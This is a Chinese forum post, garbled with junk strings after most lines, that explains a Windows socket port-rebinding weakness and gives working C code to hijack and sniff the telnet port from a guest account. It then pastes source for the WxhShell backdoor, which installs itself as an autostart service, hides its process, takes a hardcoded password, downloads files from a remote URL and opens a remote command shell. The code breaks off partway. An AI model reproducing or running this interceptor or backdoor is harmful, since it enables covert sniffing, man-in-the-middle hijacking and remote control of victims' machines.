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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .tLRY  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2<5LQr  
&Pm@+ML*x  
  saddr.sin_family = AF_INET; P$Vh{]4i{  
fsPNxy"_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); EBW*v '  
L!l?tM o  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); o.NU"$\?  
&4|]VOf  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 hG.}>(VV  
<Tjhj *  
  这意味着什么?意味着可以进行如下的攻击: ] 9C)F*r7  
zA6C{L G3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 z+;$cfN  
}wn|2K'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?m2FN< S  
nw- -  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4cSs=|m?+  
!PGCoI  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  { CR`~)v&  
,"`3N2!Y}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \mGb|aF8  
 *\xRNgEQ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]~dB| WB  
,&4 [`d  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 hfLe<,  
`Zo5!"'  
  #include T_c`=3aO  
  #include 6wB !dl  
  #include ef{Hj[8  
  #include    *vRHF1)L  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .Qn#wub  
  int main() <:/aiX8  
  { v"(6rZsa  
  WORD wVersionRequested; #S/~1{   
  DWORD ret; hlV(jz  
  WSADATA wsaData; p+b9D  
  BOOL val; ~I> |f  
  SOCKADDR_IN saddr; W`_Wi*z4  
  SOCKADDR_IN scaddr; 3=ME$%f  
  int err; rjcH[U(  
  SOCKET s; XS@iu,uO  
  SOCKET sc; |>j^$^l~  
  int caddsize; ;WN% tI)  
  HANDLE mt; Ja*,ht(5  
  DWORD tid;   >BO!jv!a  
  wVersionRequested = MAKEWORD( 2, 2 ); cp8w _TPU  
  err = WSAStartup( wVersionRequested, &wsaData ); tQ; Fgv8Y!  
  if ( err != 0 ) { M_E$w$l2<  
  printf("error!WSAStartup failed!\n"); adoK-bSt  
  return -1; YGChVROG~  
  } D&mPYxXL  
  saddr.sin_family = AF_INET; Fczia0@z  
   %1;Y`>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8cY5:plK  
K[noW  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); K6B6@  
  saddr.sin_port = htons(23); s!YX<V  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *B&i`tq  
  { N/{=j  
  printf("error!socket failed!\n"); MJe/ \  
  return -1; ?cz7s28a  
  } E"BW-<_!  
  val = TRUE; +gndW  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 C|FI4/-e  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6tVp%@  
  { e jk?If 07  
  printf("error!setsockopt failed!\n"); : LX!T&  
  return -1; 0[ n;ZL~  
  } *yI( (G/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; p |;#frj  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 E?K(MT&@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 t x1TtWo  
2-g 5Gb2|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) d<\X)-"  
  { +BI%. A`2  
  ret=GetLastError(); :Oj!J&A  
  printf("error!bind failed!\n"); Us&~d"n  
  return -1; vy5{Vm".4  
  } @d3yqA  
  listen(s,2); 25xt*30M  
  while(1) 'zt}\ Dt  
  { o~:({  
  caddsize = sizeof(scaddr); REJBm  
  //接受连接请求 }darXtZKkK  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }236{)DuN  
  if(sc!=INVALID_SOCKET) Pa\yp?({q  
  { )buy2#8UW  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [F *hjGLc}  
  if(mt==NULL) %tkL<e  
  { yq[CA`zVN  
  printf("Thread Creat Failed!\n"); 9Kz }  
  break; 0#ePg6n  
  } 3=L5Y/  
  } i2O$oHd  
  CloseHandle(mt); ,+n{xI2  
  } 5iItgVTW  
  closesocket(s); gavf$be  
  WSACleanup(); V,tYqhQ3  
  return 0; w~9Y=|YI7  
  }   #{bT=:3a  
  DWORD WINAPI ClientThread(LPVOID lpParam) +>mU4Fwp  
  { 5X-d,8{w _  
  SOCKET ss = (SOCKET)lpParam; H0lAu]~R_W  
  SOCKET sc; 7&|&y SCu  
  unsigned char buf[4096]; !Cm9DzG  
  SOCKADDR_IN saddr; .#e?[xxk  
  long num; ug`Jn&x!  
  DWORD val; 8+_e=_3R  
  DWORD ret; ` NvJ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [QT H~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   UUgc>   
  saddr.sin_family = AF_INET; ^j_t{h)W(0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); PTA_erU  
  saddr.sin_port = htons(23); bb`DyUy ^+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~m7?:(/lb  
  { &ujq6~#  
  printf("error!socket failed!\n"); )!`>Q|]}Zd  
  return -1; 6O'B:5~[2  
  } eNt1P`2[  
  val = 100; ^zS|O]Tx  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~ln96*)M;  
  { P.t7_v>  
  ret = GetLastError(); x5W@zqj  
  return -1; RjR  
  } i'Q 4touy  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9;pD0h|  
  { :?gk =JH:  
  ret = GetLastError(); _vE[TFy  
  return -1; "g;}B"rG  
  } fJG!TQJ[Y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ria*+.k@"B  
  { ]:]w+N%7  
  printf("error!socket connect failed!\n"); <m?/yRE K2  
  closesocket(sc); dy0xz5N-  
  closesocket(ss); G-T2b,J [  
  return -1; #J c)v0_  
  } pB]+c%\  
  while(1) -+|{#cz  
  { '%A*Z,f  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !RdubM  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 O:O +Q!58  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 u#34mg..  
  num = recv(ss,buf,4096,0); lLeN`{?  
  if(num>0) F, p~O{ Q  
  send(sc,buf,num,0); dr7ry"5Zq  
  else if(num==0) :j#Fq d[DF  
  break; (=i+{ 3`|  
  num = recv(sc,buf,4096,0); {{ 4S gb  
  if(num>0) O>L 5 dP  
  send(ss,buf,num,0); 9"k^:}8.  
  else if(num==0) !Ry4 w|w  
  break; 'St\$X  
  } m&r?z%  
  closesocket(ss); GCA?sFwo>  
  closesocket(sc); o4pe>hn  
  return 0 ; {d,~=s0T  
  } olf7L%  
wTY8={p]  
Z\M8DZW8Y  
========================================================== Uu3<S  
DWRq \`P  
下边附上一个代码,,WXhSHELL zINziAp{  
{B lM<  
========================================================== G^Yg[*bJ^$  
&ffd#2f`@  
#include "stdafx.h" q--;5"=S  
3DO ^vV  
#include <stdio.h> Bl)DuCV  
#include <string.h> }xM >F%  
#include <windows.h> t1tZ:4  
#include <winsock2.h> o@0p  
#include <winsvc.h> 8L*P!j9`EY  
#include <urlmon.h> CR<Nau>  
_!*??B6u  
#pragma comment (lib, "Ws2_32.lib") n$y)F} .-  
#pragma comment (lib, "urlmon.lib") )`.' QW  
qBIKJ  
#define MAX_USER   100 // 最大客户端连接数 ?KfV>.()  
#define BUF_SOCK   200 // sock buffer j5>3Td.  
#define KEY_BUFF   255 // 输入 buffer V ZArdXTP  
f'<MDLl  
#define REBOOT     0   // 重启 VBK9te,A  
#define SHUTDOWN   1   // 关机 xT$9M"  
^8yhx-mgb  
#define DEF_PORT   5000 // 监听端口 ;4 ON  
gNG_,+=!  
#define REG_LEN     16   // 注册表键长度 ]RJcY1  
#define SVC_LEN     80   // NT服务名长度 m0 k~8^L@f  
XZFM|=%X  
// 从dll定义API _7"G&nZ0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Pb^Mc <j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S @'fmjA'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &qP&=( $  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u;qBW uO  
^/kn#1H7&  
// wxhshell配置信息 qj5V<c;h%W  
struct WSCFG { jQs"8[=s  
  int ws_port;         // 监听端口 -q.tU*xf'  
  char ws_passstr[REG_LEN]; // 口令 )!&7XL[  
  int ws_autoins;       // 安装标记, 1=yes 0=no oopACE>  
  char ws_regname[REG_LEN]; // 注册表键名 g"iLhm` L  
  char ws_svcname[REG_LEN]; // 服务名 g0D(:_QXp:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }vbs6u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s" jxj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 CcHf1 _CI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sSMcF[]@2I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q-fxs8+m|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ( o_lH2  
,:QzF"MV  
}; 'bXm,Ed  
1c} %_Z/  
// default Wxhshell configuration j[fVF3v  
struct WSCFG wscfg={DEF_PORT, TYQ7jt0=.-  
    "xuhuanlingzhe", 9_z u*  
    1, ,5_Hen=PI  
    "Wxhshell", g= ql 3N  
    "Wxhshell", ./009p  
            "WxhShell Service", {\Eqo4A5}  
    "Wrsky Windows CmdShell Service", #FBq8iJ  
    "Please Input Your Password: ", <Yk#MeiEp  
  1, [BpIzhy&}  
  "http://www.wrsky.com/wxhshell.exe", L+&eY?A  
  "Wxhshell.exe" OXs-gC{b  
    }; 0]c 2T  
s3*h=5bX=  
// 消息定义模块 W~J>Srt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x05yU  
char *msg_ws_prompt="\n\r? for help\n\r#>";  H)),~<s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %/o8-N|_[  
char *msg_ws_ext="\n\rExit.";  4_E{  
char *msg_ws_end="\n\rQuit."; /^kZ}}9baU  
char *msg_ws_boot="\n\rReboot..."; .'q0*Pe  
char *msg_ws_poff="\n\rShutdown..."; 32r2<QrX  
char *msg_ws_down="\n\rSave to "; >t,BNsWB  
+|N!(H  
char *msg_ws_err="\n\rErr!"; ,[lS)`G  
char *msg_ws_ok="\n\rOK!"; ix<sorR H  
k#I4^  
char ExeFile[MAX_PATH]; hDp -,ag{  
int nUser = 0; .&AS-">Z  
HANDLE handles[MAX_USER]; $\|$ekil4  
int OsIsNt; F(-Q]xj,  
I&oHVFY+  
SERVICE_STATUS       serviceStatus; 1Y"[Qs]"mU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v(T;Y=&  
Y7yh0r_  
// 函数声明 ,iXE3TN;W  
int Install(void); C w<bu|?  
int Uninstall(void); $DmWK_A  
int DownloadFile(char *sURL, SOCKET wsh); <Q06<{]R8  
int Boot(int flag); ))" *[  
void HideProc(void); /Ot=GhN]  
int GetOsVer(void); u.t(78N  
int Wxhshell(SOCKET wsl); R$<LEwjSw  
void TalkWithClient(void *cs); 8,BNs5  
int CmdShell(SOCKET sock); 9OeY59 :  
int StartFromService(void); J 00%,Ju_  
int StartWxhshell(LPSTR lpCmdLine); >;N0( xB  
li4rK <O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =y; tOdj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W_NQi  
)SMS<J  
// 数据结构和表定义 %t&5o>1C  
SERVICE_TABLE_ENTRY DispatchTable[] = AR i_m  
{ fA!uSqR$V  
{wscfg.ws_svcname, NTServiceMain}, jlV~-}QKb7  
{NULL, NULL} h2 2-v X  
}; T-)Ur/qp  
@;iW)a_M  
// 自我安装 6% @@~"  
int Install(void) \Gh]$s p  
{ N@$g"w  
  char svExeFile[MAX_PATH];  o *2TH2  
  HKEY key; sjpcz4|K  
  strcpy(svExeFile,ExeFile); bE-{ U/;  
`B+P$K<X  
// 如果是win9x系统,修改注册表设为自启动 iV!o)WvG,F  
if(!OsIsNt) { c}a.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3%?01$k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %(GWR@mfC  
  RegCloseKey(key); A2{u("^[6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #>+O=YO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); - Dm/7Sxd`  
  RegCloseKey(key); Yyq:5V!  
  return 0; S3V3<4CB  
    } w /$4 Rv+S  
  } Y_3 {\g|x  
} uFDJRQJ<  
else { (|_1ku3!  
#?)g?u%g=  
// 如果是NT以上系统,安装为系统服务 SomA`y+ERn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F V8K_xj  
if (schSCManager!=0) sW[8f Z71  
{ \IL/?J 5d  
  SC_HANDLE schService = CreateService -4|\,=j  
  ( nPp\IE}:  
  schSCManager, &n>\ +Q   
  wscfg.ws_svcname, _T6l*D  
  wscfg.ws_svcdisp, c"w}<8  
  SERVICE_ALL_ACCESS, [hs_HYqJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TAbd[:2{F  
  SERVICE_AUTO_START, CeD O:J=,  
  SERVICE_ERROR_NORMAL, pqmS w  
  svExeFile, ) -+u8#  
  NULL, {_0m0 8  
  NULL, H#IJ&w|  
  NULL, `+_UG^aeW  
  NULL, -lr)z=})  
  NULL jm1f,=R  
  ); 6eSc`t&  
  if (schService!=0) A`Vz5WB  
  { 8OoKP4,;  
  CloseServiceHandle(schService); `mTpL^f  
  CloseServiceHandle(schSCManager); g9> 0N#<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V)M+dhl  
  strcat(svExeFile,wscfg.ws_svcname); Q}p+/-U\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }D_h*9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L>~wcoB  
  RegCloseKey(key); 3+mC96wN  
  return 0; OOy]:t4 /  
    } ~Zbr7zVn  
  } J0 BA@jH5  
  CloseServiceHandle(schSCManager); t\ J5np  
} QiB ^U^f  
} &kKopJH  
6 /^$SWd2  
return 1; iaAVGgA9+  
} 0 e 1W&  
Mg? ^5`*  
// 自我卸载 \M~M  
int Uninstall(void) _-aQ.p ?T  
{ vzl+0"  
  HKEY key; tu}AJ  
Ws"eF0,'Z  
if(!OsIsNt) {  gBQK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $\kqh$")  
  RegDeleteValue(key,wscfg.ws_regname); 4fPbwiK j  
  RegCloseKey(key); =h,6/cs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [03$*BCq3  
  RegDeleteValue(key,wscfg.ws_regname); Pt~mpRl H  
  RegCloseKey(key); R7: >'*F  
  return 0; f/t1@d!  
  } 2P9gS[Ub  
} '\qd{mM\r  
} Vb>!;C  
else { c,a+u  
l:v:f@M&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G}1?lO_d`  
if (schSCManager!=0) [ t@  
{ {2<A\nW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OQ&?^S`8',  
  if (schService!=0) fC>3{@h}*  
  { f`w$KVZ1!w  
  if(DeleteService(schService)!=0) { 1"J\iwN3  
  CloseServiceHandle(schService); aa:Oh^AJy  
  CloseServiceHandle(schSCManager); __HPwOCG7  
  return 0; e;KZTH;  
  } Mf)0Y~_:R#  
  CloseServiceHandle(schService); F(*~[*Ff  
  } 9U1cH qV  
  CloseServiceHandle(schSCManager); |:_WdU"Q]  
} 16"eyt>  
} 'f0*~Wq|  
C2RR(n=N^  
return 1; :7&#ej6  
} bl. y4  
eekp&H$'s  
// 从指定url下载文件 .a._WZF  
int DownloadFile(char *sURL, SOCKET wsh) ^E_`M:~  
{ xBH`=e <  
  HRESULT hr; =ML6"jr  
char seps[]= "/"; ?n o.hf  
char *token; K)5'Jp@  
char *file; 4naL2 Y!  
char myURL[MAX_PATH]; ({=: N  
char myFILE[MAX_PATH]; ['%]tWT9  
z(]14250  
strcpy(myURL,sURL); X2b<_j3  
  token=strtok(myURL,seps); A<ca9g3  
  while(token!=NULL) 6.? Ke8iC  
  { dKyJ.p   
    file=token; MONfA;64/  
  token=strtok(NULL,seps); 8z&7wO  
  } b e[KNrO  
~_C[~-  
GetCurrentDirectory(MAX_PATH,myFILE); S#+Dfa`8X  
strcat(myFILE, "\\"); O>e2MT|#k  
strcat(myFILE, file); e(7F| G*  
  send(wsh,myFILE,strlen(myFILE),0); p%) 1(R8qM  
send(wsh,"...",3,0); AF5.)Y@.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \Z0-o&;w  
  if(hr==S_OK) RRh0G>*  
return 0; WE""be8  
else Xq`|'6]/  
return 1; 7FL!([S5i  
d~f_wN&r  
} ud]O'@G<  
FHpS?htRy  
// 系统电源模块 j:'sbU  
int Boot(int flag) g.-{=kZ   
{ QixEMX4<  
  HANDLE hToken; _@I<H\^  
  TOKEN_PRIVILEGES tkp; ER0nrTlB<  
+92/0  
  if(OsIsNt) { v%O KOrJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4DY\QvW5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ((i%h^tGa;  
    tkp.PrivilegeCount = 1; +4G]!tV6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w?^qAj(*d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6t9Q,+nJ  
if(flag==REBOOT) { %00KOM:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PveY8[i  
  return 0; tr8a_CV  
} c@d[HstBJ  
else { 1fBj21zG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  pv<$ o  
  return 0; 2QwdDKMS_  
} O>]I!n`!!A  
  } *?'nA{a)E  
  else { 94bmK V_  
if(flag==REBOOT) { vR$[#`X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G gmv(!  
  return 0; 5U)Ia>p  
} wZv"tbAWLV  
else { KF^5 C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P]]re,&R  
  return 0; jOL$kiW0  
} aO :wedfl  
} G'b*.\=  
H_gY)m  
return 1; MVdX  
} D:`b61sWi_  
(]* Ro 8  
// win9x进程隐藏模块 5 [{l9  
void HideProc(void) '?]B ui  
{ O_%X>Q9  
\.c   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LWG%]m|C  
  if ( hKernel != NULL ) 3^m0 k E  
  { Pf`HF|NI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w|$i<OIi)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OwhMtYq  
    FreeLibrary(hKernel); F+yu[Dh:  
  } O$ dz=)  
VF8pH <  
return; aLZza"W  
} uE{r09^q\  
~qFuS933  
// 获取操作系统版本 gaFOm9y.e  
int GetOsVer(void) ?N*m2rv  
{ M7U:UV)  
  OSVERSIONINFO winfo; BYjEo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); | Q0Wv8/  
  GetVersionEx(&winfo); qffVF|7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fmqHWu*wG  
  return 1; CK4C:`YG  
  else TmI~P+5w  
  return 0; \F`%vZrKR  
} }HdibCAOf  
QD6<sw@]P  
// 客户端句柄模块 ~z;G$jd  
int Wxhshell(SOCKET wsl) Zb> UY8  
{ )fPN6x/e  
  SOCKET wsh; S\$=b_.  
  struct sockaddr_in client; x-0O3IIE  
  DWORD myID; tf1iRXf8  
4:1URhE  
  while(nUser<MAX_USER) Mn`);[  
{ D^]g`V*N  
  int nSize=sizeof(client); .|ZO2MCd  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1 Hw%DJ  
  if(wsh==INVALID_SOCKET) return 1; 0?@;zTE0  
bH 6i1c8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4KSZ;fV6/  
if(handles[nUser]==0) ;UU`kk  
  closesocket(wsh); ck0K^o v  
else FU]jI[  
  nUser++; p./9^S  
  } ngmHiI W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,3+#?H  
UNK}!>HD  
  return 0;  .7GTL  
} .J?cV;:`  
V{qpha4'P  
// 关闭 socket 94uAt&&b(  
void CloseIt(SOCKET wsh) T#M_2qJ1=  
{ _x+)Tv  
closesocket(wsh); ;ZOu-B]q  
nUser--; xWC*DKV  
ExitThread(0); `MD%VHQ9U  
} +!"GYPUXy  
0oT~6BGm  
// 客户端请求句柄 a!?JVhD&  
void TalkWithClient(void *cs) 0Y|"Bo9k  
{ },eV?eGj  
t,D7X1W  
  SOCKET wsh=(SOCKET)cs; f2*e&+LjTP  
  char pwd[SVC_LEN]; WdtZ{H  
  char cmd[KEY_BUFF]; $"e$#<g  
char chr[1]; (FVHtZi7  
int i,j; H\r- ;,&  
@$G{t^&os  
  while (nUser < MAX_USER) { Ms>CO7Nvy  
+f){x9 :  
if(wscfg.ws_passstr) { NeI#gJ1A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]LbFh5;s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w20)~&LE-  
  //ZeroMemory(pwd,KEY_BUFF); J 2H$ALl  
      i=0; a_z1S Z2[  
  while(i<SVC_LEN) { V*d@@%u**  
nO#a|~-))  
  // 设置超时 |K.J@zW  
  fd_set FdRead; s~i 73Qk/  
  struct timeval TimeOut; n{*A<-vL  
  FD_ZERO(&FdRead); {JGXdp:SB  
  FD_SET(wsh,&FdRead); jjJvyZi~J  
  TimeOut.tv_sec=8; UlNx5l+k  
  TimeOut.tv_usec=0; 7!;48\O]w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i]$/& /  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BV"l;&F[  
lZ'ZL*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Xd 5vNmQn  
  pwd=chr[0]; 'QOV!D  
  if(chr[0]==0xd || chr[0]==0xa) { Z [Q jl*  
  pwd=0; 3[*x'"Q;H  
  break; O\X=vh/D  
  } tO}Y=kZa{  
  i++; NG+%H1!$_  
    } } q?*13iy(  
qsG}A  
  // 如果是非法用户,关闭 socket yd=NafPM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]39])ul  
} <^n@q f}  
wn Q% 'Eo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *KYh_i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O-uf^ S4  
#&sw%CD  
while(1) { =Sjf-o1V  
-/ YY.F-  
  ZeroMemory(cmd,KEY_BUFF); M`D`-vv  
MwE^.6xl{  
      // 自动支持客户端 telnet标准   ,>3b|-C-  
  j=0; Hfo/\\  
  while(j<KEY_BUFF) { |_\q5?S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oAt{ #v  
  cmd[j]=chr[0]; {>h,@  
  if(chr[0]==0xa || chr[0]==0xd) { ],|;  
  cmd[j]=0; f\u5=!kjN  
  break; MA+{7 [  
  } nd)`G$gL  
  j++; jBr3Ay@<  
    } .22}= z  
:G4)edwe  
  // 下载文件 "ivSpec.V  
  if(strstr(cmd,"http://")) { ]N^>>k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0f;`Zj0l8  
  if(DownloadFile(cmd,wsh)) 1 ~s$<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =`+c}i?  
  else p?,T%G+gqO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N"Cd{3  
  } $wm8N.I3I  
  else { K<vb4!9Z9  
G\C>fwrP_  
    switch(cmd[0]) { 0?w4  
  AVO$R\1YR  
  // 帮助 {C'9?4&  
  case '?': { fX/k;0l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QI4a@WB]ok  
    break; NOQSLT=  
  } 2PViY,V|  
  // 安装 4"et4Y7  
  case 'i': { 9Itj@ps  
    if(Install()) 7e/K YS+!s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rPx:o}&<  
    else oTb4T=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f-5}`)`.+  
    break; yv(\5)XF  
    } H|8i|vbi  
  // 卸载 GmdS~Fhp  
  case 'r': { ia*Bcx_RW+  
    if(Uninstall()) h,x'-]q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O[5u6heNMr  
    else JL=s=9N;3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8z`Ne(h;  
    break; A)HV#T`N  
    } ;@/vKA3l.  
  // 显示 wxhshell 所在路径 iX6'3\Q3A  
  case 'p': { #vPf$y6jCI  
    char svExeFile[MAX_PATH]; iUOGuiP  
    strcpy(svExeFile,"\n\r"); [ J6q(} f  
      strcat(svExeFile,ExeFile); n_ S)9C'=  
        send(wsh,svExeFile,strlen(svExeFile),0); pP*`b<|  
    break; %0lJ(hm  
    } s}Q*zy  
  // 重启 *k !zdV  
  case 'b': { Uq=!>C8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8?[#\KgH1  
    if(Boot(REBOOT)) 6B&ERdoX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G0Wv=tX|  
    else { K&;;{~md.  
    closesocket(wsh); K)nn;j=  
    ExitThread(0); I`[s(C>3@  
    } F(;95TB  
    break; 8]A`WDO3  
    } 9~6~[z  
  // 关机 i3<ZFR  
  case 'd': { m:C|R-IL  
